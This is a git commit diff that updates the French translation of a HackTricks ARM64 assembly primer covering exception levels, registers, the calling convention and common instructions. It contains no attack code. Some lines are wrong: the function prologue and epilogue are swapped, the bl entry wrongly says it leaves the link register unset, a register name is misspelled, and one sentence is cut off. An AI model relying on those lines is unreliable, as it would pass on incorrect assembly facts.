mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
686cd69262
commit
aefd710397
2 changed files with 131 additions and 122 deletions
|
@ -2,70 +2,70 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## **Niveaux d'exception - EL (ARM64v8)**
|
||||
|
||||
Dans l'architecture ARMv8, les niveaux d'exécution, appelés niveaux d'exception (EL), définissent le niveau de privilège et les capacités de l'environnement d'exécution. Il existe quatre niveaux d'exception, allant de EL0 à EL3, chacun servant à un but différent :
|
||||
Dans l'architecture ARMv8, les niveaux d'exécution, connus sous le nom de Niveaux d'Exception (EL), définissent le niveau de privilège et les capacités de l'environnement d'exécution. Il existe quatre niveaux d'exception, allant de EL0 à EL3, chacun servant à un but différent :
|
||||
|
||||
1. **EL0 - Mode utilisateur** :
|
||||
- Il s'agit du niveau le moins privilégié et est utilisé pour exécuter du code d'application régulier.
|
||||
- Les applications s'exécutant à EL0 sont isolées les unes des autres et du logiciel système, améliorant ainsi la sécurité et la stabilité.
|
||||
2. **EL1 - Mode noyau du système d'exploitation** :
|
||||
- La plupart des noyaux de systèmes d'exploitation s'exécutent à ce niveau.
|
||||
- EL1 a plus de privilèges que EL0 et peut accéder aux ressources système, mais avec certaines restrictions pour garantir l'intégrité du système.
|
||||
3. **EL2 - Mode hyperviseur** :
|
||||
- Ce niveau est utilisé pour la virtualisation. Un hyperviseur s'exécutant à EL2 peut gérer plusieurs systèmes d'exploitation (chacun dans son propre EL1) s'exécutant sur le même matériel physique.
|
||||
- EL2 offre des fonctionnalités d'isolation et de contrôle des environnements virtualisés.
|
||||
4. **EL3 - Mode moniteur sécurisé** :
|
||||
- Il s'agit du niveau le plus privilégié et est souvent utilisé pour le démarrage sécurisé et les environnements d'exécution de confiance.
|
||||
- EL3 peut gérer et contrôler les accès entre les états sécurisés et non sécurisés (comme le démarrage sécurisé, le système d'exploitation de confiance, etc.).
|
||||
* Il s'agit du niveau le moins privilégié et est utilisé pour exécuter du code d'application régulier.
|
||||
* Les applications s'exécutant à EL0 sont isolées les unes des autres et du logiciel système, améliorant ainsi la sécurité et la stabilité.
|
||||
2. **EL1 - Mode Noyau du Système d'Exploitation** :
|
||||
* La plupart des noyaux de systèmes d'exploitation s'exécutent à ce niveau.
|
||||
* EL1 a plus de privilèges que EL0 et peut accéder aux ressources système, mais avec certaines restrictions pour garantir l'intégrité du système.
|
||||
3. **EL2 - Mode Hyperviseur** :
|
||||
* Ce niveau est utilisé pour la virtualisation. Un hyperviseur s'exécutant à EL2 peut gérer plusieurs systèmes d'exploitation (chacun dans son propre EL1) s'exécutant sur le même matériel physique.
|
||||
* EL2 offre des fonctionnalités d'isolation et de contrôle des environnements virtualisés.
|
||||
4. **EL3 - Mode Moniteur Sécurisé** :
|
||||
* Il s'agit du niveau le plus privilégié et est souvent utilisé pour le démarrage sécurisé et les environnements d'exécution de confiance.
|
||||
* EL3 peut gérer et contrôler les accès entre les états sécurisés et non sécurisés (comme le démarrage sécurisé, le système d'exploitation de confiance, etc.).
|
||||
|
||||
L'utilisation de ces niveaux permet de gérer de manière structurée et sécurisée différents aspects du système, des applications utilisateur au logiciel système le plus privilégié. L'approche des niveaux de privilège d'ARMv8 aide à isoler efficacement les différents composants du système, améliorant ainsi la sécurité et la robustesse du système.
|
||||
L'utilisation de ces niveaux permet de gérer de manière structurée et sécurisée différents aspects du système, des applications utilisateur au logiciel système le plus privilégié. L'approche d'ARMv8 en matière de niveaux de privilège aide à isoler efficacement les différents composants du système, améliorant ainsi la sécurité et la robustesse du système.
|
||||
|
||||
## **Registres (ARM64v8)**
|
||||
|
||||
ARM64 dispose de **31 registres généraux**, étiquetés `x0` à `x30`. Chacun peut stocker une valeur de **64 bits** (8 octets). Pour les opérations nécessitant uniquement des valeurs de 32 bits, les mêmes registres peuvent être accessibles en mode 32 bits en utilisant les noms w0 à w30.
|
||||
|
||||
1. **`x0`** à **`x7`** - Ceux-ci sont généralement utilisés comme registres temporaires et pour passer des paramètres aux sous-routines.
|
||||
- **`x0`** transporte également les données de retour d'une fonction.
|
||||
* **`x0`** transporte également les données de retour d'une fonction.
|
||||
2. **`x8`** - Dans le noyau Linux, `x8` est utilisé comme numéro d'appel système pour l'instruction `svc`. **Sur macOS, c'est x16 qui est utilisé !**
|
||||
3. **`x9`** à **`x15`** - Plus de registres temporaires, souvent utilisés pour les variables locales.
|
||||
4. **`x16`** et **`x17`** - **Registres d'appel intra-procédural**. Registres temporaires pour les valeurs immédiates. Ils sont également utilisés pour les appels de fonctions indirects et les ébauches de PLT (Procedure Linkage Table).
|
||||
- **`x16`** est utilisé comme **numéro d'appel système** pour l'instruction **`svc`** dans **macOS**.
|
||||
5. **`x18`** - **Registre de plateforme**. Il peut être utilisé comme registre général, mais sur certaines plateformes, ce registre est réservé à des utilisations spécifiques à la plateforme : Pointeur vers le bloc d'environnement de thread actuel dans Windows, ou pour pointer vers la structure de tâche actuellement **en cours d'exécution dans le noyau Linux**.
|
||||
4. **`x16`** et **`x17`** - **Registres d'Appel Intra-procédural**. Registres temporaires pour les valeurs immédiates. Ils sont également utilisés pour les appels de fonction indirects et les ébauches de PLT (Table de Liaison de Procédure).
|
||||
* **`x16`** est utilisé comme le **numéro d'appel système** pour l'instruction **`svc`** dans **macOS**.
|
||||
5. **`x18`** - **Registre de Plateforme**. Il peut être utilisé comme registre général, mais sur certaines plateformes, ce registre est réservé à des utilisations spécifiques à la plateforme : Pointeur vers le bloc d'environnement de thread actuel dans Windows, ou pour pointer vers la structure de tâche actuellement **en cours d'exécution dans le noyau Linux**.
|
||||
6. **`x19`** à **`x28`** - Ce sont des registres sauvegardés par l'appelé. Une fonction doit préserver les valeurs de ces registres pour son appelant, elles sont donc stockées dans la pile et récupérées avant de retourner à l'appelant.
|
||||
7. **`x29`** - **Pointeur de cadre** pour suivre le cadre de la pile. Lorsqu'un nouveau cadre de pile est créé parce qu'une fonction est appelée, le registre **`x29`** est **stocké dans la pile** et l'adresse du **nouveau** pointeur de cadre (adresse **`sp`**) est **stockée dans ce registre**.
|
||||
- Ce registre peut également être utilisé comme **registre général** bien qu'il soit généralement utilisé comme référence aux **variables locales**.
|
||||
8. **`x30`** ou **`lr`** - **Registre de lien**. Il contient l'**adresse de retour** lorsqu'une instruction `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) est exécutée en stockant la valeur de **`pc`** dans ce registre.
|
||||
- Il peut également être utilisé comme n'importe quel autre registre.
|
||||
- Si la fonction actuelle va appeler une nouvelle fonction et donc écraser `lr`, elle le stockera dans la pile au début, c'est l'épilogue (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Stocker `fp` et `lr`, générer de l'espace et obtenir un nouveau `fp`) et le récupérera à la fin, c'est le prologue (`ldp x29, x30, [sp], #48; ret` -> Récupérer `fp` et `lr` et retourner).
|
||||
9. **`sp`** - **Pointeur de pile**, utilisé pour suivre le sommet de la pile.
|
||||
- la valeur de **`sp`** doit toujours être maintenue à au moins un **alignement de quadword** ou une exception d'alignement peut se produire.
|
||||
10. **`pc`** - **Compteur de programme**, qui pointe vers l'instruction suivante. Ce registre ne peut être mis à jour que par des générations d'exceptions, des retours d'exceptions et des branches. Les seules instructions ordinaires qui peuvent lire ce registre sont les instructions de branchement avec lien (BL, BLR) pour stocker l'adresse de **`pc`** dans **`lr`** (Registre de lien).
|
||||
11. **`xzr`** - **Registre zéro**. Aussi appelé **`wzr`** dans sa forme de registre **32** bits. Peut être utilisé pour obtenir facilement la valeur zéro (opération courante) ou pour effectuer des comparaisons en utilisant **`subs`** comme **`subs XZR, Xn, #10`** en stockant les données résultantes nulle part (dans **`xzr`**).
|
||||
7. **`x29`** - **Pointeur de Cadre** pour suivre le cadre de la pile. Lorsqu'un nouveau cadre de pile est créé parce qu'une fonction est appelée, le registre **`x29`** est **stocké dans la pile** et l'adresse du **nouveau** pointeur de cadre (adresse de **`sp`**) est **stockée dans ce registre**.
|
||||
* Ce registre peut également être utilisé comme **registre général** bien qu'il soit généralement utilisé comme référence aux **variables locales**.
|
||||
8. **`x30`** ou **`lr`** - **Registre de Lien**. Il contient l'**adresse de retour** lorsqu'une instruction `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) est exécutée en stockant la valeur de **`pc`** dans ce registre.
|
||||
* Il peut également être utilisé comme n'importe quel autre registre.
|
||||
* Si la fonction actuelle va appeler une nouvelle fonction et donc écraser `lr`, elle le stockera dans la pile au début, c'est l'épilogue (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Stocker `fp` et `lr`, générer de l'espace et obtenir un nouveau `fp`) et le récupérera à la fin, c'est le prologue (`ldp x29, x30, [sp], #48; ret` -> Récupérer `fp` et `lr` et retourner).
|
||||
9. **`sp`** - **Pointeur de Pile**, utilisé pour suivre le sommet de la pile.
|
||||
* la valeur de **`sp`** doit toujours être maintenue à au moins un **alignement de quadri-mot** ou une exception d'alignement peut se produire.
|
||||
10. **`pc`** - **Compteur de Programme**, qui pointe vers l'instruction suivante. Ce registre ne peut être mis à jour que par des générations d'exceptions, des retours d'exceptions et des branches. Les seules instructions ordinaires qui peuvent lire ce registre sont les instructions de branchement avec lien (BL, BLR) pour stocker l'adresse de **`pc`** dans **`lr`** (Registre de Lien).
|
||||
11. **`xzr`** - **Registre Zéro**. Aussi appelé **`wzr`** dans sa forme de registre **32** bits. Peut être utilisé pour obtenir facilement la valeur zéro (opération courante) ou pour effectuer des comparaisons en utilisant **`subs`** comme **`subs XZR, Xn, #10`** stockant les données résultantes nulle part (dans **`xzr`**).
|
||||
|
||||
Les registres **`Wn`** sont la version **32 bits** du registre **`Xn`**.
|
||||
|
||||
### Registres SIMD et à virgule flottante
|
||||
|
||||
De plus, il existe **32 autres registres de longueur 128 bits** qui peuvent être utilisés dans des opérations SIMD optimisées (Single Instruction Multiple Data) et pour effectuer des calculs en virgule flottante. Ceux-ci sont appelés les registres Vn bien qu'ils puissent également fonctionner en **64** bits, **32** bits, **16** bits et **8** bits, et sont alors appelés **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** et **`Bn`**.
|
||||
De plus, il existe **32 registres de longueur 128 bits** qui peuvent être utilisés dans des opérations SIMD optimisées à instruction unique multiple et pour effectuer des calculs en virgule flottante. Ceux-ci sont appelés les registres Vn bien qu'ils puissent également fonctionner en **64** bits, **32** bits, **16** bits et **8** bits et sont alors appelés **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** et **`Bn`**.
|
||||
### Registres système
|
||||
|
||||
**Il existe des centaines de registres système**, également appelés registres à usage spécial (SPR), qui sont utilisés pour **surveiller** et **contrôler** le **comportement des processeurs**.\
|
||||
Ils ne peuvent être lus ou définis qu'en utilisant les instructions spéciales dédiées **`mrs`** et **`msr`**.
|
||||
|
||||
Les registres spéciaux **`TPIDR_EL0`** et **`TPIDDR_EL0`** sont couramment rencontrés lors de l'ingénierie inverse. Le suffixe `EL0` indique l'**exception minimale** à partir de laquelle le registre peut être accédé (dans ce cas, EL0 est le niveau d'exception (privilège) régulier avec lequel les programmes réguliers s'exécutent).\
|
||||
Les registres spéciaux **`TPIDR_EL0`** et **`TPIDDR_EL0`** sont couramment rencontrés lors de l'ingénierie inverse. Le suffixe `EL0` indique l'**exception minimale** à partir de laquelle le registre peut être accédé (dans ce cas, EL0 est le niveau d'exception régulier (privilège) avec lequel les programmes réguliers s'exécutent).\
|
||||
Ils sont souvent utilisés pour stocker l'**adresse de base de la région de stockage locale du thread** en mémoire. Généralement, le premier est lisible et inscriptible pour les programmes s'exécutant en EL0, mais le second peut être lu depuis EL0 et écrit depuis EL1 (comme le noyau).
|
||||
|
||||
* `mrs x0, TPIDR_EL0 ; Lire TPIDR_EL0 dans x0`
|
||||
|
@ -92,25 +92,25 @@ Voici les champs accessibles :
|
|||
Toutes les instructions ne mettent pas à jour ces indicateurs. Certaines comme **`CMP`** ou **`TST`** le font, et d'autres qui ont un suffixe s comme **`ADDS`** le font également.
|
||||
{% endhint %}
|
||||
|
||||
* Le drapeau de largeur de registre actuel (`nRW`) : Si le drapeau a la valeur 0, le programme s'exécutera dans l'état d'exécution AArch64 une fois repris.
|
||||
* Le **Niveau d'Exception** actuel (**`EL`**) : Un programme régulier s'exécutant en EL0 aura la valeur 0
|
||||
* Le drapeau de **pas à pas unique** (**`SS`**) : Utilisé par les débogueurs pour effectuer un pas à pas en définissant le drapeau SS sur 1 à l'intérieur de **`SPSR_ELx`** via une exception. Le programme effectuera un pas et émettra une exception de pas à pas.
|
||||
* Le drapeau d'état d'exception illégal (**`IL`**) : Il est utilisé pour marquer quand un logiciel privilégié effectue un transfert de niveau d'exception invalide, ce drapeau est défini sur 1 et le processeur déclenche une exception d'état illégal.
|
||||
* Le drapeau de largeur de registre actuel (`nRW`) : Si le drapeau contient la valeur 0, le programme s'exécutera dans l'état d'exécution AArch64 une fois repris.
|
||||
* Le **Niveau d'Exception Actuel** (**`EL`**) : Un programme régulier s'exécutant en EL0 aura la valeur 0
|
||||
* Le drapeau de **pas à pas unique** (**`SS`**) : Utilisé par les débogueurs pour effectuer un pas à pas en définissant le drapeau SS à 1 à l'intérieur de **`SPSR_ELx`** via une exception. Le programme effectuera un pas et émettra une exception de pas à pas.
|
||||
* Le drapeau d'état d'exception illégal (**`IL`**) : Il est utilisé pour marquer qu'un logiciel privilégié effectue un transfert de niveau d'exception invalide, ce drapeau est défini sur 1 et le processeur déclenche une exception d'état illégal.
|
||||
* Les drapeaux **`DAIF`** : Ces drapeaux permettent à un programme privilégié de masquer sélectivement certaines exceptions externes.
|
||||
* Si **`A`** est à 1, cela signifie que des **abandons asynchrones** seront déclenchés. Le **`I`** configure la réponse aux **demandes d'interruption matérielles externes** (IRQ) et le F est lié aux **demandes d'interruption rapide** (FIR).
|
||||
* Les drapeaux de sélection de pointeur de pile (**`SPS`**) : Les programmes privilégiés s'exécutant en EL1 et supérieur peuvent basculer entre l'utilisation de leur propre registre de pointeur de pile et celui du modèle utilisateur (par exemple, entre `SP_EL1` et `EL0`). Cette commutation est effectuée en écrivant dans le registre spécial **`SPSel`**. Cela ne peut pas être fait depuis EL0.
|
||||
* Si **`A`** est à 1, cela signifie que des **abandons asynchrones** seront déclenchés. Le **`I`** configure la réponse aux **Demandes d'Interruptions** matérielles externes (IRQs). et le F est lié aux **Demandes d'Interruptions Rapides** (FIRs).
|
||||
* Les drapeaux de sélection de pointeur de pile (**`SPS`**) : Les programmes privilégiés s'exécutant en EL1 et supérieur peuvent basculer entre l'utilisation de leur propre registre de pointeur de pile et celui du modèle utilisateur (par exemple, entre `SP_EL1` et `EL0`). Ce basculement est effectué en écrivant dans le registre spécial **`SPSel`**. Cela ne peut pas être fait depuis EL0.
|
||||
|
||||
## **Convention d'appel (ARM64v8)**
|
||||
## **Convention d'Appel (ARM64v8)**
|
||||
|
||||
La convention d'appel ARM64 spécifie que les **huit premiers paramètres** d'une fonction sont passés dans les registres **`x0` à `x7`**. Les **paramètres supplémentaires** sont passés sur la **pile**. La **valeur de retour** est renvoyée dans le registre **`x0`**, ou dans **`x1`** également **s'il fait 128 bits de long**. Les registres **`x19`** à **`x30`** et **`sp`** doivent être **conservés** lors des appels de fonction.
|
||||
La convention d'appel ARM64 spécifie que les **huit premiers paramètres** d'une fonction sont passés dans les registres **`x0` à `x7`**. Les **paramètres supplémentaires** sont passés sur la **pile**. La **valeur de retour** est renvoyée dans le registre **`x0`**, ou dans **`x1`** également **s'il fait 128 bits de long**. Les registres **`x19`** à **`x30`** et **`sp`** doivent être **conservés** entre les appels de fonction.
|
||||
|
||||
Lors de la lecture d'une fonction en langage d'assemblage, recherchez le **prologue et l'épilogue de la fonction**. Le **prologue** implique généralement **la sauvegarde du pointeur de cadre (`x29`)**, **la configuration** d'un **nouveau pointeur de cadre**, et **l'allocation d'espace de pile**. L'**épilogue** implique généralement **la restauration du pointeur de cadre sauvegardé** et **le retour** de la fonction.
|
||||
|
||||
### Convention d'appel en Swift
|
||||
### Convention d'Appel en Swift
|
||||
|
||||
Swift a sa propre **convention d'appel** qui peut être trouvée à l'adresse [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
||||
|
||||
## **Instructions courantes (ARM64v8)**
|
||||
## **Instructions Courantes (ARM64v8)**
|
||||
|
||||
Les instructions ARM64 ont généralement le **format `opcode dst, src1, src2`**, où **`opcode`** est l'**opération** à effectuer (comme `add`, `sub`, `mov`, etc.), **`dst`** est le registre **destination** où le résultat sera stocké, et **`src1`** et **`src2`** sont les registres **source**. Des valeurs immédiates peuvent également être utilisées à la place des registres source.
|
||||
|
||||
|
@ -120,7 +120,7 @@ Les instructions ARM64 ont généralement le **format `opcode dst, src1, src2`**
|
|||
* Exemple : `ldr x0, [x1]` — Cela charge une valeur depuis l'emplacement mémoire pointé par `x1` dans `x0`.
|
||||
* **Mode de décalage** : Un décalage affectant le pointeur d'origine est indiqué, par exemple :
|
||||
* `ldr x2, [x1, #8]`, cela chargera dans x2 la valeur de x1 + 8
|
||||
*  `ldr x2, [x0, x1, lsl #2]`, cela chargera dans x2 un objet du tableau x0, à la position x1 (index) \* 4
|
||||
*  `ldr x2, [x0, x1, lsl #2]`, cela chargera dans x2 un objet du tableau x0, à la position x1 (indice) \* 4
|
||||
* **Mode pré-indexé** : Cela appliquera des calculs à l'origine, obtiendra le résultat et stockera également la nouvelle origine dans l'origine.
|
||||
* `ldr x2, [x1, #8]!`, cela chargera `x1 + 8` dans `x2` et stockera dans x1 le résultat de `x1 + 8`
|
||||
* `str lr, [sp, #-4]!`, Stocke le registre de lien dans sp et met à jour le registre sp
|
||||
|
@ -143,7 +143,7 @@ Les instructions ARM64 ont généralement le **format `opcode dst, src1, src2`**
|
|||
* \[décalage #N | RRX\] -> Effectue un décalage ou appelle RRX
|
||||
* Exemple : `add x0, x1, x2` — Cela ajoute les valeurs dans `x1` et `x2` ensemble et stocke le résultat dans `x0`.
|
||||
* `add x5, x5, #1, lsl #12` — Cela équivaut à 4096 (un 1 décalé de 12 fois) -> 1 0000 0000 0000 0000
|
||||
* **`adds`** Cela effectue un `add` et met à jour les drapeaux
|
||||
* **`adds`** Cela effectue un `add` et met à jour les indicateurs
|
||||
* **`sub`** : **Soustraire** les valeurs de deux registres et stocker le résultat dans un registre.
|
||||
* Vérifier la **syntaxe de `add`**.
|
||||
* Exemple : `sub x0, x1, x2` — Cela soustrait la valeur dans `x2` de `x1` et stocke le résultat dans `x0`.
|
||||
|
@ -158,16 +158,16 @@ Les instructions ARM64 ont généralement le **format `opcode dst, src1, src2`**
|
|||
* **Décalage arithmétique à droite** : Comme **`lsr`**, mais au lieu d'ajouter des 0 si le bit le plus significatif est un 1, \*\*1s sont ajoutés (\*\*divise par n fois 2 en signé)
|
||||
* **Rotation à droite** : Comme **`lsr`** mais ce qui est supprimé à droite est ajouté à gauche
|
||||
* **Rotation à droite avec extension** : Comme **`ror`**, mais avec le drapeau de retenue comme "bit le plus significatif". Ainsi, le drapeau de retenue est déplacé vers le bit 31 et le bit supprimé vers le drapeau de retenue.
|
||||
* **`bfm`** : **Déplacement de champ de bits**, ces opérations **copient les bits `0...n`** d'une valeur et les placent dans les positions **`m..m+n`**. Le **`#s`** spécifie la position du **bit le plus à gauche** et **`#r`** la **quantité de rotation à droite**.
|
||||
* **`bfm`** : **Déplacement de champ de bits**, ces opérations **copient les bits `0...n`** d'une valeur et les placent dans les positions **`m..m+n`**. Le **`#s`** spécifie la position du **bit le plus à gauche** et le **`#r`** la **quantité de rotation à droite**.
|
||||
* Déplacement de champ de bits : `BFM Xd, Xn, #r`
|
||||
* Déplacement de champ de bits signé : `SBFM Xd, Xn, #r, #s`
|
||||
* Déplacement de champ de bits non signé : `UBFM Xd, Xn, #r, #s`
|
||||
* **Extraction et insertion de champ de bits :** Copie un champ de bits d'un registre et le copie dans un autre registre.
|
||||
* **`BFI X1, X2, #3, #4`** Insère 4 bits de X2 à partir du 3e bit de X1
|
||||
* **`BFXIL X1, X2, #3, #4`** Extrait à partir du 3e bit de X2 quatre bits et les copie dans X1
|
||||
* **`SBFIZ X1, X2, #3, #4`** Étend le signe de 4 bits de X2 et les insère dans X1 à partir de la position du bit 3 en mettant à zéro les bits de droite
|
||||
* **`SBFIZ X1, X2, #3, #4`** Étend le signe de 4 bits de X2 et les insère dans X1 en commençant à la position du bit 3 en mettant à zéro les bits de droite
|
||||
* **`SBFX X1, X2, #3, #4`** Extrait 4 bits à partir du bit 3 de X2, étend le signe, et place le résultat dans X1
|
||||
* **`UBFIZ X1, X2, #3, #4`** Étend à zéro 4 bits de X2 et les insère dans X1 à partir de la position du bit 3 en mettant à zéro les bits de droite
|
||||
* **`UBFIZ X1, X2, #3, #4`** Étend à zéro 4 bits de X2 et les insère dans X1 en commençant à la position du bit 3 en mettant à zéro les bits de droite
|
||||
* **`UBFX X1, X2, #3, #4`** Extrait 4 bits à partir du bit 3 de X2 et place le résultat étendu à zéro dans X1.
|
||||
* **Étendre le signe à X :** Étend le signe (ou ajoute simplement des 0 dans la version non signée) d'une valeur pour pouvoir effectuer des opérations avec elle :
|
||||
* **`SXTB X1, W2`** Étend le signe d'un octet **de W2 à X1** (`W2` est la moitié de `X2`) pour remplir les 64 bits
|
||||
|
@ -176,10 +176,10 @@ Les instructions ARM64 ont généralement le **format `opcode dst, src1, src2`**
|
|||
* **`UXTB X1, W2`** Ajoute des 0 (non signé) à un octet **de W2 à X1** pour remplir les 64 bits
|
||||
* **`extr` :** Extrait des bits d'une **paire de registres concaténés** spécifiée.
|
||||
* Exemple : `EXTR W3, W2, W1, #3` Cela **concatène W1+W2** et obtient **du bit 3 de W2 jusqu'au bit 3 de W1** et le stocke dans W3.
|
||||
* **`cmp`** : **Comparer** deux registres et définir les drapeaux de condition. C'est un **alias de `subs`** en définissant le registre de destination sur le registre zéro. Utile pour savoir si `m == n`.
|
||||
* **`cmp`** : **Comparer** deux registres et définir les indicateurs de condition. C'est un **alias de `subs`** en définissant le registre de destination sur le registre zéro. Utile pour savoir si `m == n`.
|
||||
* Il prend en charge la **même syntaxe que `subs`**
|
||||
* Exemple : `cmp x0, x1` — Cela compare les valeurs dans `x0` et `x1` et définit les drapeaux de condition en conséquence.
|
||||
* **`cmn`** : **Comparer l'opposé négatif**. Dans ce cas, c'est un **alias de `adds`** et prend en charge la même syntaxe. Utile pour savoir si `m == -n`.
|
||||
* Exemple : `cmp x0, x1` — Cela compare les valeurs dans `x0` et `x1` et définit les indicateurs de condition en conséquence.
|
||||
* **`cmn`** : **Comparer négatif** l'opérande. Dans ce cas, c'est un **alias de `adds`** et prend en charge la même syntaxe. Utile pour savoir si `m == -n`.
|
||||
* **`ccmp`** : Comparaison conditionnelle, c'est une comparaison qui sera effectuée uniquement si une comparaison précédente était vraie et définira spécifiquement les bits nzcv.
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> si x1 != x2 et x3 < x4, sauter à func
|
||||
* Cela est dû au fait que **`ccmp`** ne sera exécuté que si le **précédent `cmp` était un `NE`**, sinon les bits `nzcv` seront définis à 0 (ce qui ne satisfera pas la comparaison `blt`).
|
||||
|
@ -190,21 +190,21 @@ Les instructions ARM64 ont généralement le **format `opcode dst, src1, src2`**
|
|||
* **`b`** : Branchement inconditionnel
|
||||
* Exemple : `b myFunction` 
|
||||
* Notez que cela ne remplira pas le registre de lien avec l'adresse de retour (pas adapté pour les appels de sous-routine qui doivent revenir en arrière)
|
||||
* **`bl`** : **Branchement** avec lien, utilisé pour **appeler** une **sous-routine**. Stocke l'**adresse de retour dans `x30`**.
|
||||
* **`bl`** : **Branchement** avec lien, utilisé pour **appeler** une **sous-routine**. Stocke l'adresse de retour dans `x30`.
|
||||
* Exemple : `bl myFunction` — Cela appelle la fonction `myFunction` et stocke l'adresse de retour dans `x30`.
|
||||
* Notez que cela ne remplira pas le registre de lien avec l'adresse de retour (pas adapté pour les appels de sous-routine qui doivent revenir en arrière)
|
||||
* **`blr`** : **Branchement** avec lien vers un registre, utilisé pour **appeler** une **sous-routine** où la cible est **spécifiée** dans un **registre**. Stocke l'adresse de retour dans `x30`. (Ceci est 
|
||||
* Exemple : `blr x1` — Cela appelle la fonction dont l'adresse est contenue dans `x1` et stocke l'adresse de retour dans `x30`.
|
||||
* **`ret`** : **Retour** de **sous-routine**, généralement en utilisant l'adresse dans **`x30`**.
|
||||
* **`ret`** : **Retour** de la **sous-routine**, en utilisant généralement l'adresse dans **`x30`**.
|
||||
* Exemple : `ret` — Cela retourne de la sous-routine actuelle en utilisant l'adresse de retour dans `x30`.
|
||||
* **`b.<cond>`** : Branchement conditionnel
|
||||
* **`b.<cond>`** : Branchements conditionnels
|
||||
* **`b.eq`** : **Brancher si égal**, basé sur l'instruction `cmp` précédente.
|
||||
* Exemple : `b.eq label` — Si l'instruction `cmp` précédente a trouvé deux valeurs égales, cela saute à `label`.
|
||||
* **`b.ne`**: **Branch if Not Equal**. Cette instruction vérifie les indicateurs de condition (qui ont été définis par une instruction de comparaison précédente), et si les valeurs comparées ne sont pas égales, elle saute vers une étiquette ou une adresse.
|
||||
* **`b.ne`**: **Branch if Not Equal**. Cette instruction vérifie les indicateurs de condition (qui ont été définis par une instruction de comparaison précédente), et si les valeurs comparées ne sont pas égales, elle saute vers un label ou une adresse.
|
||||
* Exemple : Après une instruction `cmp x0, x1`, `b.ne label` — Si les valeurs dans `x0` et `x1` ne sont pas égales, cela saute vers `label`.
|
||||
* **`cbz`**: **Comparer et Sauter si Zéro**. Cette instruction compare un registre avec zéro, et s'ils sont égaux, elle saute vers une étiquette ou une adresse.
|
||||
* **`cbz`**: **Comparer et Sauter si Zéro**. Cette instruction compare un registre avec zéro, et s'ils sont égaux, elle saute vers un label ou une adresse.
|
||||
* Exemple : `cbz x0, label` — Si la valeur dans `x0` est zéro, cela saute vers `label`.
|
||||
* **`cbnz`**: **Comparer et Sauter si Non Nul**. Cette instruction compare un registre avec zéro, et s'ils ne sont pas égaux, elle saute vers une étiquette ou une adresse.
|
||||
* **`cbnz`**: **Comparer et Sauter si Non Nul**. Cette instruction compare un registre avec zéro, et s'ils ne sont pas égaux, elle saute vers un label ou une adresse.
|
||||
* Exemple : `cbnz x0, label` — Si la valeur dans `x0` est non nulle, cela saute vers `label`.
|
||||
* **`tbnz`**: Tester le bit et sauter si non nul
|
||||
* Exemple : `tbnz x0, #8, label`
|
||||
|
@ -219,19 +219,19 @@ Les instructions ARM64 ont généralement le **format `opcode dst, src1, src2`**
|
|||
* `csneg Xd, Xn, Xm, cond` -> Si vrai, Xd = Xn, si faux, Xd = - Xm
|
||||
* `cneg Xd, Xn, cond` -> Si vrai, Xd = - Xn, si faux, Xd = Xn
|
||||
* `cset Xd, Xn, Xm, cond` -> Si vrai, Xd = 1, si faux, Xd = 0
|
||||
* `csetm Xd, Xn, Xm, cond` -> Si vrai, Xd = \<tout en 1>, si faux, Xd = 0
|
||||
* `csetm Xd, Xn, Xm, cond` -> Si vrai, Xd = \<tout 1>, si faux, Xd = 0
|
||||
* **`adrp`**: Calculer l'**adresse de page d'un symbole** et la stocker dans un registre.
|
||||
* Exemple : `adrp x0, symbol` — Cela calcule l'adresse de page de `symbol` et la stocke dans `x0`.
|
||||
